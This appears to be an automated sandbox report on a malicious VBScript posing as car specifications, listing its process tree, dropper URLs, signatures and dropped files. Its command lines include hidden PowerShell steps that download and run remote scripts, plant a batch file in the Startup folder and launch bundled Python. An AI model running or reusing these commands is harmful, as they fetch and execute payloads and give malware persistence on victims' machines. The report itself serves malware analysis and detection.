Analysis

  • max time kernel
    300s
  • max time network
    160s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    04/08/2026, 16:16

General

  • Target
    Technical specifications of the Car (technical specifications, colors, technology...).vbs
  • Size 24.5MB
  • Sample260804-tqveyade69
  • SHA256 909955ee8aa40ae8425f81a16023e944d0aaafad57e90b3883243b13f1fb8741
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://github.com/urerfie/base/raw/main/zdd.bat

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://github.com/urerfie/base/raw/main/default.zip

Signatures

  • Badlisted process makes network request 9 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Run Powershell and hide display window.

  • Creates a file in the Startup directory 1 TTPs 1 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Contacts third-party web service commonly abused for C2 1 TTPs 4 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 3 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 14 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Technical specifications of the Car (technical specifications, colors, technology...).vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:1580
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -WindowStyle Hidden -Command Invoke-WebRequest -Uri 'https://github.com/lastver/test/raw/main/x.pdf' -OutFile 'C:\Users\Admin\AppData\Local\Temp\temp.cmd'; Start-Process 'C:\Users\Admin\AppData\Local\Temp\temp.cmd' -WindowStyle Hidden
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4164
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\temp.cmd" "
        3⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:4208
        • C:\Windows\system32\chcp.com
          chcp.com 437
          4⤵
            PID:1664
          • C:\Windows\system32\find.exe
            find
            4⤵
              PID:1120
            • C:\Windows\system32\find.exe
              find
              4⤵
                PID:1000
              • C:\Windows\system32\findstr.exe
                findstr /L /I set "C:\Users\Admin\AppData\Local\Temp\temp.cmd"
                4⤵
                  PID:3912
                • C:\Windows\system32\findstr.exe
                  findstr /L /I goto "C:\Users\Admin\AppData\Local\Temp\temp.cmd"
                  4⤵
                    PID:5988
                  • C:\Windows\system32\findstr.exe
                    findstr /L /I echo "C:\Users\Admin\AppData\Local\Temp\temp.cmd"
                    4⤵
                      PID:6048
                    • C:\Windows\system32\findstr.exe
                      findstr /L /I pause "C:\Users\Admin\AppData\Local\Temp\temp.cmd"
                      4⤵
                        PID:3520
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c type tmp
                        4⤵
                        • Executes a command shell one-liner
                        PID:3076
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c type tmp
                        4⤵
                        • Executes a command shell one-liner
                        PID:2580
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/urerfie/base/raw/main/zdd.bat', 'C:\Users\Admin\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowSecuryti.bat');
                        4⤵
                        • Badlisted process makes network request
                        • Command and Scripting Interpreter: PowerShell
                        • Creates a file in the Startup directory
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:6044
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/urerfie/base/raw/main/default.zip', 'C:\Users\Admin\AppData\Local\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:\Users\Admin\AppData\Local\\Document.zip', 'C:\Users\Admin\AppData\Local\\Document');
                        4⤵
                        • Badlisted process makes network request
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:4128
                      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                        powershell.exe -WindowStyle Hidden -Command "Start-Sleep -Seconds 45; C:\Users\Admin\AppData\Local\\Document\\python C:\Users\Admin\AppData\Local\\Document\\Lib\\temp.py; del C:\Users\Admin\AppData\Local\\Document.zip"
                        4⤵
                        • Command and Scripting Interpreter: PowerShell
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of AdjustPrivilegeToken
                        PID:6040

                Network

                      MITRE ATT&CK Enterprise v16

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      __init__.py

                      • Path C:\Users\Admin\AppData\Local\Document\Lib\site-packages\cryptography\hazmat\primitives\asymmetric\__init__.py
                      • Size 180B
                      • SHA256 b3da0a090db2705757a0445d4b58a669fb9e4a406c2fd92f6f27e085a6ae67d6
                      • MD5 SHA1 SHA512 TLSH

                      __init__.py

                      • Path C:\Users\Admin\AppData\Local\Document\Lib\site-packages\pyasn1\codec\der\__init__.py
                      • Size 59B
                      • SHA256 1040e52584b5ef6107dfd19489d37ff056e435c598f4e555f1edf4015e7ca67d
                      • MD5 SHA1 SHA512 TLSH

                      ModuleAnalysisCache

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
                      • Size 67KB
                      • SHA256 96952b58e7507bfbf6b1edf838d41182ae4f94e983572fa0c037be46d4ab1b05
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      StartupProfileData-NonInteractive

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 79bfb5c96a3cb52ef7649a0deebebda01de17f5c0c302c2fef6fda3057a3ad54
                      • MD5 SHA1 SHA512 TLSH

                      StartupProfileData-NonInteractive

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 144598ea87965a833e5c847b0c3725dee5fd45304ea32c04cc6080f73f537503
                      • MD5 SHA1 SHA512 TLSH

                      StartupProfileData-NonInteractive

                      • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
                      • Size 1KB
                      • SHA256 396e04e3dbeb0985ad294f46e655cb3deb15f7534b2906eef90818dda3b672d6
                      • MD5 SHA1 SHA512 TLSH

                      __PSScriptPolicyTest_sz4140l4.meu.ps1

                      • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_sz4140l4.meu.ps1
                      • Size 60B
                      • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                      • MD5 SHA1 SHA512 TLSH

                      temp.cmd

                      • Path C:\Users\Admin\AppData\Local\Temp\temp.cmd
                      • Size 9.5MB
                      • SHA256 ce32f5bded6147589ebce2bdb2a2f8f4dd541bd309d8fce03bafc4a99acac4b3
                      • MD5 SHA1 SHA512 SSDEEP TLSH

                      tmp

                      • Path C:\Users\Admin\AppData\Local\Temp\tmp
                      • Size 14B
                      • SHA256 589c942e748ea16dc86923c4391092707ce22315eb01cb85b0988c6762aa0ed3
                      • MD5 SHA1 SHA512

                      memory/4128-57-0x00000203A5DC0000-0x00000203A5DCA000-memory.dmp

                      memory/4128-58-0x00000203A5DF0000-0x00000203A5E02000-memory.dmp

                      memory/4164-10-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

                      memory/4164-32-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

                      memory/4164-15-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

                      memory/4164-16-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

                      memory/4164-17-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

                      memory/4164-18-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

                      memory/4164-19-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

                      memory/4164-20-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

                      memory/4164-21-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

                      memory/4164-22-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

                      memory/4164-13-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

                      memory/4164-14-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

                      memory/4164-12-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

                      memory/4164-11-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

                      memory/4164-0-0x00007FFCAE0EF000-0x00007FFCAE0F0000-memory.dmp

                      memory/4164-9-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

                      memory/4164-8-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

                      memory/4164-7-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

                      memory/4164-6-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

                      memory/4164-5-0x000001E55C3A0000-0x000001E55C3C2000-memory.dmp

                      memory/4164-4-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp

                      memory/4164-3-0x00007FFCADF60000-0x00007FFCAE904000-memory.dmp